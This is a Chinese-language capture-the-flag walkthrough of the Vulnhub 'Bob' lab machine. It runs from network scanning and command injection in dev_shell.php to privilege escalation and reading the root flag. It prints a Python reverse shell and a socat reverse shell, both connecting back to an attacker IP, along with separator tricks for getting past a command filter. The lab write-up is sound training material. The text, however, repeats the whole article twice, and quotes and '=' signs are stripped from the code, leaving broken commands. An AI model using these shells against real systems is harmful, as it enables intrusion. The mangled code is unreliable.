Vulnhub Bob靶场实战从零到Root的渗透测试思维训练第一次接触渗透测试时我站在虚拟靶场前手足无措。直到遇见Vulnhub的Bob靶场这个看似简单却暗藏玄机的训练环境才真正理解了黑客思维的含义。本文将带你用新手视角完整复盘这场数字探险重点不是操作步骤的罗列而是每个决策背后的思考逻辑。1. 环境搭建与初始侦察在VMware中导入Bob靶机时建议选择NAT网络模式而非桥接。这样能模拟真实内网环境同时避免IP冲突问题。启动后首要任务是确定靶机IP这里有个新手常犯的错误——直接使用ifconfig查看。实际上在渗透测试中我们需要从外部视角发现目标arp-scan -l --interfaceeth0这个命令会列出当前网段所有活跃设备。当发现192.168.109.172这个未知IP时就该锁定它为潜在目标。接着用nmap进行端口扫描但要注意参数选择nmap -sV -p- -T4 192.168.109.172参数说明-sV探测服务版本-p-扫描所有端口-T4加快扫描速度扫描结果会显示三个开放端口端口服务备注21FTP匿名登录可能80HTTPWeb应用入口25468SSH非标准端口可能被忽略2. Web应用渗透的艺术访问80端口看到的学校官网暗藏杀机。当点击news.html出现网站被黑提示时新手容易直接放弃。实际上这可能是重要线索查看页面源代码CtrlU检查网络请求F12→Network尝试目录遍历如/news.html~login.html页面的禁止外部登录提示更值得玩味。尝试X-Forwarded-For头绕过是正确思路但失败后应该考虑是否检测了其他头部是否存在IP白名单校验能否通过子域名绕过此时dirb目录扫描发现的关键文件/robots.txt /dev_shell.php /login.phpdev_shell.php的命令执行漏洞是突破口。当直接命令被过滤时需要测试各种连接符命令分隔符测试优先级;分号与号|管道符逻辑与||逻辑或成功执行whoami后就该准备反向shell了。这里推荐使用更稳定的Python版本python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);3. 权限提升的迷宫探索拿到初始shell后新手常陷入sudo -l和SUID检查的思维定式。Bob靶机的精妙之处在于它设计了更隐蔽的提权路径家目录侦查 checklist检查所有用户目录权限查找隐藏文件ls -la分析文档修改时间关注非常规文件扩展名在bob目录发现的.old_passwordfile.html就是典型例子——用html扩展名伪装密码文件。解密出jc和seb的密码后不要急于切换用户先检查他们的家目录/home/jc常规文件 /home/seb可疑的theadminisdumb.txt /home/elliotDocuments下的神秘文件staff.txt中提到的FTP后门是红鲱鱼真正的线索在Secret目录。那个看似无意义的可执行文件实际上是藏头诗密钥生成器HelloAskingRealPasswordOnlyCreatesRandomAccessTokensEverySecond提取首字母得到密钥HARPOCRATES用于解密bob的GPG文件。这里有个细节必须在jc用户下执行解密因为权限继承关系。4. 终极提权与思维升华获得bob密码后sudo -l显示ALL权限似乎让提权变得简单。但直接执行sudo -i可能会遇到sudo: no tty present and no askpass program specified这时需要先升级到完整TTYpython -c import pty; pty.spawn(/bin/bash)或者使用更稳定的socat# 攻击机先执行 socat file:tty,raw,echo0 tcp-listen:4445 # 靶机执行 socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:攻击机IP:4445最后的flag读取也有讲究。某些符号在默认shell下会解析异常这时可以cat /root/flag.txt | base64或者使用Python避免特殊字符问题with open(/root/flag.txt) as f: print(f.read())这场渗透之旅最宝贵的不是拿到root的瞬间而是每个死胡同里发现的隐藏通道。当你在dev_shell.php前卡壳三天后突然发现管道符可用时那种顿悟感才是网络安全最令人上瘾的部分。
新手也能搞定：Vulnhub Bob靶场实战，从信息收集到Root提权完整复盘
发布时间：2026/7/17 0:52:06
Vulnhub Bob靶场实战从零到Root的渗透测试思维训练第一次接触渗透测试时我站在虚拟靶场前手足无措。直到遇见Vulnhub的Bob靶场这个看似简单却暗藏玄机的训练环境才真正理解了黑客思维的含义。本文将带你用新手视角完整复盘这场数字探险重点不是操作步骤的罗列而是每个决策背后的思考逻辑。1. 环境搭建与初始侦察在VMware中导入Bob靶机时建议选择NAT网络模式而非桥接。这样能模拟真实内网环境同时避免IP冲突问题。启动后首要任务是确定靶机IP这里有个新手常犯的错误——直接使用ifconfig查看。实际上在渗透测试中我们需要从外部视角发现目标arp-scan -l --interfaceeth0这个命令会列出当前网段所有活跃设备。当发现192.168.109.172这个未知IP时就该锁定它为潜在目标。接着用nmap进行端口扫描但要注意参数选择nmap -sV -p- -T4 192.168.109.172参数说明-sV探测服务版本-p-扫描所有端口-T4加快扫描速度扫描结果会显示三个开放端口端口服务备注21FTP匿名登录可能80HTTPWeb应用入口25468SSH非标准端口可能被忽略2. Web应用渗透的艺术访问80端口看到的学校官网暗藏杀机。当点击news.html出现网站被黑提示时新手容易直接放弃。实际上这可能是重要线索查看页面源代码CtrlU检查网络请求F12→Network尝试目录遍历如/news.html~login.html页面的禁止外部登录提示更值得玩味。尝试X-Forwarded-For头绕过是正确思路但失败后应该考虑是否检测了其他头部是否存在IP白名单校验能否通过子域名绕过此时dirb目录扫描发现的关键文件/robots.txt /dev_shell.php /login.phpdev_shell.php的命令执行漏洞是突破口。当直接命令被过滤时需要测试各种连接符命令分隔符测试优先级;分号与号|管道符逻辑与||逻辑或成功执行whoami后就该准备反向shell了。这里推荐使用更稳定的Python版本python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);3. 权限提升的迷宫探索拿到初始shell后新手常陷入sudo -l和SUID检查的思维定式。Bob靶机的精妙之处在于它设计了更隐蔽的提权路径家目录侦查 checklist检查所有用户目录权限查找隐藏文件ls -la分析文档修改时间关注非常规文件扩展名在bob目录发现的.old_passwordfile.html就是典型例子——用html扩展名伪装密码文件。解密出jc和seb的密码后不要急于切换用户先检查他们的家目录/home/jc常规文件 /home/seb可疑的theadminisdumb.txt /home/elliotDocuments下的神秘文件staff.txt中提到的FTP后门是红鲱鱼真正的线索在Secret目录。那个看似无意义的可执行文件实际上是藏头诗密钥生成器HelloAskingRealPasswordOnlyCreatesRandomAccessTokensEverySecond提取首字母得到密钥HARPOCRATES用于解密bob的GPG文件。这里有个细节必须在jc用户下执行解密因为权限继承关系。4. 终极提权与思维升华获得bob密码后sudo -l显示ALL权限似乎让提权变得简单。但直接执行sudo -i可能会遇到sudo: no tty present and no askpass program specified这时需要先升级到完整TTYpython -c import pty; pty.spawn(/bin/bash)或者使用更稳定的socat# 攻击机先执行 socat file:tty,raw,echo0 tcp-listen:4445 # 靶机执行 socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:攻击机IP:4445最后的flag读取也有讲究。某些符号在默认shell下会解析异常这时可以cat /root/flag.txt | base64或者使用Python避免特殊字符问题with open(/root/flag.txt) as f: print(f.read())这场渗透之旅最宝贵的不是拿到root的瞬间而是每个死胡同里发现的隐藏通道。当你在dev_shell.php前卡壳三天后突然发现管道符可用时那种顿悟感才是网络安全最令人上瘾的部分。
